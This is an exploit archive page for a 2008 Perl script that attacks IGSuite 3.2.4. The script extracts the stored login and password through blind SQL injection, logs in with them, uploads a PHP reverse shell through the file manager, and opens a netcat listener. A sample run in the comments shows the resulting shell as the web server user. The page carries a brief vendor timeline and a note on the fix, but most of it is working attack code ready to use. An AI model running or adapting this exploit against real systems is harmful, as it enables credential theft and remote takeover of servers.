exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

igsuite-sql.txt

igsuite-sql.txt
Posted Jun 23, 2008
Authored by Guido Landi

IGSuite version 3.2.4 reverse shell blind SQL injection exploit.

tags | exploit, shell, sql injection
SHA-256 | 8f3b6d460bae45a242f3edfcb88f972c8e039e47941bbf2d1d44602e867377ba

igsuite-sql.txt

Change Mirror Download
#!/usr/bin/perl
#
# 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - k`sOSe
#
# 05/21/2008 - Vendor notified
# 05/23/2008 - A patch was pushed via the igsuited daemon(not enabled by default)
# Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta.
#
# Tested on IGSuite 3.2.4 on linux with MySQL, needs nc(in path).
# Drops a reverse shell, use http://pentestmonkey.net/tools/php-reverse-shell/
#
#
# cohelet ~ # ./igsploit.pl localhost /cgi-bin / ./php-reverse-shell.php 1234
# IGSploit 0.1 - k`sOSe
#
# [*] Abusing blind SQL injection: ksose=qwerty
# [*] Logging in with username `ksose', password `qwerty'...
# [I] Found `formid' -> 12141384631aX7I
# [I] Logged in!
# [*] Uploading shell..
# [I] Found `formid' -> 1214138463vOl5x
# [*] Requesting //Home/ksose/php-reverse-shell.php now, shell will spawn here...
# listening on [any] 1234 ...
# connect to [127.0.0.1] from localhost [127.0.0.1] 44758
# Linux cohelet 2.6.25-gentoo-r5 #1 SMP PREEMPT Sat Jun 21 11:32:15 CEST 2008 i686 Intel(R) Core(TM)2 CPU 6600 @ 2.40GHz GenuineIntel GNU/Linux
# 14:41:05 up 1 day, 2:52, 1 user, load average: 0.51, 0.34, 0.52
# USER TTY LOGIN@ IDLE JCPU PCPU WHAT
# root tty1 Sat11 21:33m 0.84s 0.02s /bin/login --
# uid=81(apache) gid=81(apache) groups=81(apache)
# sh: no job control in this shell
# sh-3.2$

use warnings;
use strict;

print "IGSploit 0.1 - k`sOSe\n\n";
usage() unless(@ARGV>2);


use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;

my $ighost = $ARGV[0];
my $igcgi = $ARGV[1];
my $igpath = $ARGV[2];
my $evilfile = $ARGV[3];
my $rport = $ARGV[4];
my $igurl = 'http://' . $ighost . $igcgi;
my @chars = ( '', '=', 'a'..'z', 0..9, 'A'..'Z', '-', '_', '@', ';', ':', ',', '.', ')' ,'(', '&', '/', '%', '$' );

my $count = 1;
my $string = '';

my $ua = LWP::UserAgent->new; $ua->agent( "Mozilla/5.0" );
$ua->cookie_jar( HTTP::Cookies->new( ) );
$ua->timeout(5);



print "[*] Abusing blind SQL injection: ";
$|=1;
while(1)
{
for my $char( @chars )
{
if( defined( my $found = check_char( $count, $char ) ) )
{
if( $found eq '' )
{
upload_shell( split( '=', $string ) );
exit;
}
$string .= $found;
$count++;
last;
}
}
}

sub upload_shell
{
my ($username, $password) = @_;

print "[*] Logging in with username `$username', password `$password'...\n";
do_login( $username, $password );


print "[*] Uploading shell..\n";
my $formid = get_formid( $ua->get( "$igurl/filemanager?action=uploadfile&dir=/Home/$username&repid=&repapp=&order=nome" )->content );
my $res = $ua->post( "$igurl/filemanager",
Content_Type => 'multipart/form-data',
Content => [
formid => [undef, undef, Content => $formid],
upfile => [undef, ($evilfile =~ m/.+\/(.+)/g)[0], Content => slurp($evilfile)],
newfilename => [undef, undef, Content => $evilfile],
submit8 => [undef, undef, Content => 'Conferma'],
]
);


if(qx(which nc 2>&1) !~ /^which:/)
{
print "[*] Requesting $igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] . " now, shell will spawn here...\n";

my $pid = fork();
if($pid)
{
sleep 2;
my $res = $ua->get ( "http://$ighost$igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] );

if(!$res->is_success && $res->status_line() !~ /^500 .*timeout/)
{
print "\n[W] Unexpected status code received -> " . $res->status_line . "\n";
}

waitpid($pid, 0);
}
else
{
exec("`which nc` -v -l -p $rport");
}
}
else
{
print "[W] Can't find netcat!\n";
print "[*] File uploaded on http://$ighost$igpath/Home/$username/" . ($evilfile =~ m/.+\/(.+)/g)[0] . ", start your listener on port $rport and wget it\n";
}
}

sub do_login
{
my ($username, $password) = @_;

my $formid = get_formid($ua->get( "$igurl/igsuite" )->content);

my $res = $ua->post( "$igurl/igsuite",
{
formid => $formid,
login => $username,
pwd => $password,
submit5 => 'Accedi',
});
die( "Can't login\n" )
if( $res->content !~ /this application need a browser that support multi frame/ );

# lies
print "[I] Logged in!\n";

return $formid;
}

sub get_formid
{
my ($content) = @_;

die( "Can't find formid value\n" )
unless $content =~ /name="formid"\s+value="(.+?)"/;

print "[I] Found `formid' -> $1\n";

return $1;
}

sub slurp
{
return do {
open(my $f, "<$_[0]") or die("opening `$_[0]': $!");
local $/;
my $s=<$f>;
close $f;
$s
};
}

sub check_char
{
my ($count, $char) = @_;

my $res = $ua->post( "$igurl/igsuite",
{
formid => "1' OR (SELECT ".
"MID(CONCAT(`login`, 0x3d, `passwd`), $count, 1) ".
"FROM `users` LIMIT 0,1) = '$char",
});
die ("Error: " . $res->status_line . "\n") unless ( $res->is_success );

if($res->content =~ /IGSuite Error/)
{
print "\b$char";
return undef;
}
elsif($res->status_line =~ /^(2\d+|3\d+)/)
{
print "\b$char ";
print "\n" if ($char eq '');
return $char;
}
else
{
print "\n[!] " . $res->status_line . ":\n########\n\n" . $res->content . "\n########\n\n";
die("[!] Failed, check cgi/docroot path.");
}
}

sub usage
{
die <<EOM;
Usage: $0 [host] [path to cgis] [path to igsuite docroot] [reverseshell] [reverseport]

Ex: $0 localhost /cgi-bin / ./php-reverse-shell.php 1234

EOM
}


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close